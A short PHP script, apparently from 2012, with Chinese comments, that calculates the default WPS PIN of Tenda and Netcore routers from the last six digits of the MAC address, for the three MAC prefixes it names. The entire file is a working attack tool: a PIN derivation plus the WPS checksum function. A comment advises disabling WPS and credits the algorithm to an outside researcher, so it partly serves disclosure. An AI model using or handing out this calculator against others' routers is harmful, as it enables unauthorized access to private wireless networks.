<?php  
/**  
  * 腾达、network路由PIN码计算方法（php实现）  
  * 针对MAC地址前6位为C83A35、081075、00B00C，并且pin没有重新生成的路由  
  * 强烈建议所有无线路由关闭WPS（部分厂商又称QSS）快速连接功能  
  * 算法来源：ZhaoChunsheng，详细请参阅link  
  * 
  * @link http://blog.ibeini.com/archives/789.html  
  * @version $Id: wps_pin_calc.php 220 2012-11-06 07:33:17Z horseluke@126.com $
  * 
  */  
//请在此设置无线路由MAC地址的后6位，ffffff最终应该会算出67772155  
$last_six_mac_addr = 'ffffff';  
 
//运算区域  
$pin_middle = hexdec($last_six_mac_addr) % 10000000;
$pin_code = sprintf('%07d%d', $pin_middle, wps_pin_checksum($pin_middle));  
echo $pin_code;  
 
/**  
* pin码最后一位checksum计算方法  
* @param int $pin  
* @return int checksum  
*/  
function wps_pin_checksum($pin){  
  $accum = 0;  
  while ($pin > 0){  
    $accum += (3 * ($pin % 10));  
    $pin = intval($pin / 10);  
    $accum += ($pin % 10);  
    $pin = intval($pin / 10);  
  }  
  return (10 - $accum % 10) % 10;  
}